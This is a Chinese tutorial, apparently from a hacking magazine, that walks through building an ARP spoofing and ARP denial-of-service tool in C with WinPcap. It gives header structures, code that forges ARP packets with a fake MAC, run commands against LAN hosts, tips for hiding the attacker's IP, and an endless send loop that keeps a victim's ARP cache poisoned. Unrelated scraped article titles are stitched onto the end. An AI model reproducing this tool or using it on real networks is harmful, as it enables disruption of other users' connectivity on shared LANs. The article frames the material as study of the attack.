关于讨论ARP哄骗的文章,黑防在第8期的《小窥ARP协议》和第9期《ARP SPOOF DoS攻防详谈》均有介绍,不过,俗话说,授人鱼,不如授人以渔,更多的读者也许期待的是如何将其原理和编程实现结合。本文的着笔点正是出于这样的目的,更是对上述两篇文章的一个补充,希望能给读者们真正理解ARP攻击的实质,同时,也给部分想学习而又害怕学习WinPcap的读者一些“师傅领进门”的感受。
【以下测试环境为WinXPsp1 + VC6.0sp6 + WinPcap3.14beta,其中,必须安装WinPcap3.0以上版本的驱动。】
首先,我们通过例子来回顾一下ARP哄骗和攻击的原理吧。先来做个实验,先打开一个cmd窗口,输入arp –a,该命令表示通过询问当前协议数据来查看本机ARP缓存保存的入口地址。

上面表示作者本人的主机IP为192.168.3.155,现在ARP缓存里只有两条IP为192.168.3.253和192.168.3.254的ARP缓存记录,很显然,两IP是作者主机所在局域网的网关(嘿嘿,校园网和ADSL),它的MAC地址为**-**-18-23-b8-10和**-**-4c-78-22-22,类型为dynamic,即动态缓存。
然后,ping同一局域网内的另一IP为192.168.3.162的主机,再次输入arp –a,得到结果。
看到,虽然PING不通,但ARP缓存却刷新了,添加了192.168.3.162这一项记录,并显示其MAC地址为**-**-ab-31-5c-3c,类型也是dynamic,显然,对方开了防火墙并设置了禁止内发的PING包,但是仍然暴露了该主机是活动主机的事实,而且对方的ARP缓存因此而刷新。

好了,到现在,我们可以把目标定为,伪造192.168.3.155的MAC地址为11-22-33-44-55-66,以达到哄骗的目的。我们以此为基点,先进入编码的部分。因为整个ARP Spoof&Dos都在交换环境的局域网内,涉及到的都是MAC层的通信,所以定义以太网首部和ARP首部就成为必要的了,这样我们才可以构造伪数据包,如下:
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目标以太网地址*/
unsigned char eh_src[6]; /* 源以太网地址 */
unsigned short eh_type; /* 以太网包类型 */
}EHHDR, *PEHHDR;

typedef struct arphdr
{
unsigned short arp_hrd; /* 硬件地址格式 */
unsigned short arp_pro; /* 协议地址格式 */
unsigned char arp_hln; /* 硬件地址长度 */
unsigned char arp_pln; /* 协议地址长度 */
unsigned short arp_op; /* ARP/RARP 操作 */

unsigned char arp_sha[6]; /* 源发送者硬件地址 */
unsigned long arp_spa; /* 源发送者协议地址 */
unsigned char arp_tha[6]; /* 目标硬件地址 */
unsigned long arp_tpa; /* 目标协议地址 */
}ARPHDR, *PARPHDR;
每个字段在注释里讲的很详细了,如果有疑问,可以查阅TCP/IP相关书籍。下一步,笔者的Spoof实现需要输入2个IP地址外加一个可选的网卡地址,所以就涉及到解析输入的主机名或IP的实现,这个相信很多写过网络程序的读者都不陌生,如下:
DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 转换成网络地址 */
/* 如果是主机名或域名,非点分10进制IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("/nError: could not resolv hostname %s/n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 转换成32位网络地址 */
}

return host_ip;
}
然后,需要定义一个GetInterface()函数,顾名思义,就是获得本地主机网络接口的意思,因为基于WinPcap的几乎所有应用程序都需要选择合适的网卡适配器。(很多刚接触WinPcap的读者可能会感到很惶恐,好像WinPcap所用的API函数让很多Windows程序员一下子接收不了,其实很正常,用的多了,看的多了,慢慢的,我相信读者门会越来越喜欢强大的WinPcap的)GetInterface()定义如下:
pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*取得设备列表*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
exit(1);
}
/* 打印设备列表*/
i = 0;
printf("/n/nInterfaces list:/n/n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)/n", d->description);
else printf(" (No description available)/n");
}
if(i == 0) {
printf("/nNo interfaces found! Make sure WinPcap is installed./n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("/n/nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("/nInterface number out of range./n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;

/* 跳到被选择的网卡适配器接口 */
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "/n/nAdapter used: %s/n/n", d->name);
/* 从网络上打开活动的捕获行为,返回一个pcap_t类型描述符 */
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("/nError: %s/n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 释放pcap_findalldevs()打开的接口列表*/
pcap_freealldevs(alldevs);

return(fp);
}
上面的注释已经比较清楚了,所有的涉及到的WinPcap的结构体和API函数,以及基于WinPcap程序的编译方法,大家都可以到http://winpcap.polito.it/在线查询或把文档下载后本机查询,或者到论坛询问。在我的代码里,我假设如果用户输入可选的伪MAC地址,则使用这个自定义的伪MAC地址,如果不输入,则使用随机产生的伪MAC地址,代码部分如下:
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
为了得到由系统时钟产生的随机数,必须在头文件里加入 #include <time.h>,在程序里加入srand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock库*/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 用完了,记住释放哦 */
为了使用winsock2头文件,要指定#pragma comment(lib, "ws2_32.lib")来包含ws2_32.lib库文件。下面就到了自定义构造以太头和ARP头了,这就是我们伪造MAC的加工厂:
memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* 请求服务 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 伪源MAC地址 */
arphdr->arp_spa = ip_add; /* 伪源ARP 协议地址*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 伪目标MAC地址 */
arphdr->arp_tpa = ip_dst; /* 伪目标ARP协议地址 */
这里所有的宏都可以在我提供的arp.h头文件里得到对应的定义。每一项都很清晰,主要是构造最后的几项(有注释的行),那里是滋生罪恶的源头。
伪MAC包构造好了,最后剩下的就是发送伪数据包了,再次发挥WinPcap库的发包函数,如下:
pcap_sendpacket(fp, buff, sizeof(buff)) ;
到这,可以长嘘一口气,大吼一声“打完收工”,让我们测试一下成果,看是否能达到我们最开始预定的目标。输入 arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
首先,提示输入接口号,因为WinPcap库必须选择正确的网卡适配器接口,在笔者机子上,安装了2个虚拟机,所以有4个接口,2号接口代表本系统网卡接口,所以选2(你的可能不同哦),回车后,发现右下脚马上提示IP地址冲突…嘿嘿,我们来分析一下,arpspoof.exe是我们哄骗程序,192.168.3.155是笔者的IP地址,192.168.3.162是同一局域网内另一主机IP,就是把192.168.3.155地址的MAC地址11-22-33-44-55-66添加到192.168.3.162这台主机的动态ARP缓存里,攻击过后,192.168.3.162的ARP缓存。
刚才我把自己的IP当做参数一导致了自己的IP冲突,那如果我想使192.168.3.162这台机子产生IP冲突,就可以调换一下参数一和参数二的位置,即
大家想想什么原理,呵呵,这里我就不多说了。如果想隐瞒作为攻击者的IP,第2个参数可以改成网段内的任意其他的IP。这样,我们发起一次攻击,192.168.3.162的主机就产生一次IP冲突,但这样肯定是不够的,每隔一段时间,对方的ARP缓存就会刷新一次,所以,如果要进行一次ARP Dos攻击的话,我们还必须不断的给他们发,以保证对方ARP缓存始终是我们构造的伪MAC地址。实现很简单,如下:
while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("/nError: problems for sending packet/n");
exit(1);
}
printf(".");
sleep(DELAY); /* 这里的#define DELAY (CLOCKS_PER_SEC >> 1) 即半秒 */
}
攻击过程。
点点就表示每隔半秒发送一次ARP包。结果是,在被DoS攻击后,如果再次PING
192.168.3.162,即使对方不开防火墙,也没有禁止INNER PING,却仍然PING不通,查看
自己的ARP缓存,我们发现,对方的MAC地址编程了00-00-00-00-00-00,攻击成功。
小结:
在了解了ARP Spoof&Dos攻击的原理后,实现起来就不那么难了。大学校园网常常因为IP资源的严重不足而发生同学们互抢IP的现象,有懂一点ARP哄骗的学生就用网络执法官等工具,而不懂的的就只有任人宰割,如果你还是那被宰割的一部分人中的一个,那么看完了本文的你,是不是也该做点什么了呢。(在光盘的源代码文件里,只提供了一个源代码文件arpspoof.cpp,它的作用是实现给目标IP添加ARP缓存,而arpdos.cpp我没有提供,防止有人做坏事,呵呵,如果你是真心抱着学习的态度,那么我相信看完

ARP SpoofDoS攻击编程实战相关推荐

  1. ARP SpoofDoS攻击编程(转)

    关于讨论ARP哄骗的文章,黑防在第8期的<小窥ARP协议>和第9期<ARP SPOOF DoS攻防详谈>均有介绍,不过,俗话说,授人鱼,不如授人以渔,更多的读者也许期待的是如何 ...

  2. 网络安全实验之《ARP欺骗攻击》实验报告

    一.实验目的 (1)课上实验(ARP欺骗攻击工具实验):运行WinArpAttacker或Ettercap(二选一),通过WireShark等抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理 ...

  3. 网站DDOS攻击防护实战老男孩经验心得分享 【转】

    文章出处:网站DDOS攻击防护实战老男孩经验心得分享 网站DDOS攻击防护实战老男孩经验心得分享    老男孩由于要培训学生.批改作业,因此最近比较忙,还要经常写书.录视频,搞的思路混乱,受朋友邀请参 ...

  4. WebSocket入门介绍及编程实战

    前言:最近看了几天的WebSocket,从以前的只闻其名,到现在也算是有一点点的了解了.所以就准备用博客记录一下自己的学习过程,希望也能帮助其它学习的人,因为我本人学习的过程中也是参考了很多其它人的博 ...

  5. Java物联网、人工智能和区块链编程实战

    我们现在生活在数字革命时代,许多新兴的数字技术正以惊人的速度发展,比如物联网. 人工智能.区块链等.这些数字技术都将越来越深入地渗透到我们生活的各个方面,并从根本 上改变我们的生活方式.工作方式和社交 ...

  6. 微信支撑10亿用户背后核心技术:亿级流量Java并发与网络编程实战

    大家可能不知道,支撑微信10亿用户之后,最基础也是最核心的技术是什么?那就是网络编程. 越是大型互联网通讯项目,越是对网络编程的落地要求越高.落地,意味着对实战的要求更高. 所以,一些朋友更喜欢用类似 ...

  7. 《JavaScript编程实战》

    <JavaScript编程实战> 基本信息 原书名:JavaScript programming: pushing the limits 作者: (美)Jon Raasch 译者: 吴海星 ...

  8. 《Python数据可视化编程实战》——5.5 用OpenGL制作动画

    本节书摘来异步社区<Python数据可视化编程实战>一书中的第5章,第5.5节,作者:[爱尔兰]Igor Milovanović,更多章节内容可以访问云栖社区"异步社区" ...

  9. Scala程序设计:Java虚拟机多核编程实战(国内第一本Scala图书)

    Scala程序设计:Java虚拟机多核编程实战(国内第一本Scala图书) 基本信息 作者: (美)Venkat Subramaniam  译者: 郑晔 李剑 丛书名: 图灵程序设计丛书 出版社:人民 ...

最新文章

  1. docker的安装与安装mysql(mac,centos为例)
  2. bzoj1070 [SCOI2007]修车 费用流+拆分
  3. 多磁盘自动分区自动挂载脚本
  4. 动态规划解决分割问题
  5. Java中三层架构与MVC之间的显著区别
  6. 国内太极AI智能交易系统
  7. arr访问绝对地址_ECSHOP源码里的图片的相对地址改为绝对地址 (1)
  8. 51单片机学习:串口通信实验
  9. 华为机试真题 C++ 实现【最短木板长度】【100%通过率】【2022.11 Q4 新题】
  10. 译体验|Qualtrics:客户体验的六大法则
  11. 学习文档【超详细中文版】(小甲鱼视频)
  12. 2021-2027全球与中国可待因药品市场现状及未来发展趋势
  13. Dual Band Wireless-AC 3165无线驱动无法开启wifi
  14. mysql 初始化数据库报错
  15. MySQL默认字符集设置
  16. Non-resolvable parent POM for com.example:demo:0.0.1-SNAPSHOT: Could not transfer artifact org.sprin
  17. 【逗老师带你考IE】如何快速通过HCIE考试
  18. chrome + IDM + 油猴插件 实现百度网盘大文件的高速下载
  19. dean edward大神的跨浏览器addEvent事件
  20. fanfou.com

热门文章

  1. 第三方百度网盘同步盘设置
  2. 零基础来学淘宝美工难吗?
  3. 怎样做好人生中的第一份工作?
  4. RICOH SP 310SFNw 理光打复印机Win11电脑扫描设置教程
  5. 第一个springmvc项目
  6. 弱电计算机网络系统技术交底,智能化弱电技术交底记录汇总
  7. zlib库的编译及使用
  8. 修改Android开机声音从耳机通道输出
  9. 编码芯片EV1527射频学习
  10. python 登录新浪微博_模拟登录新浪微博(Python)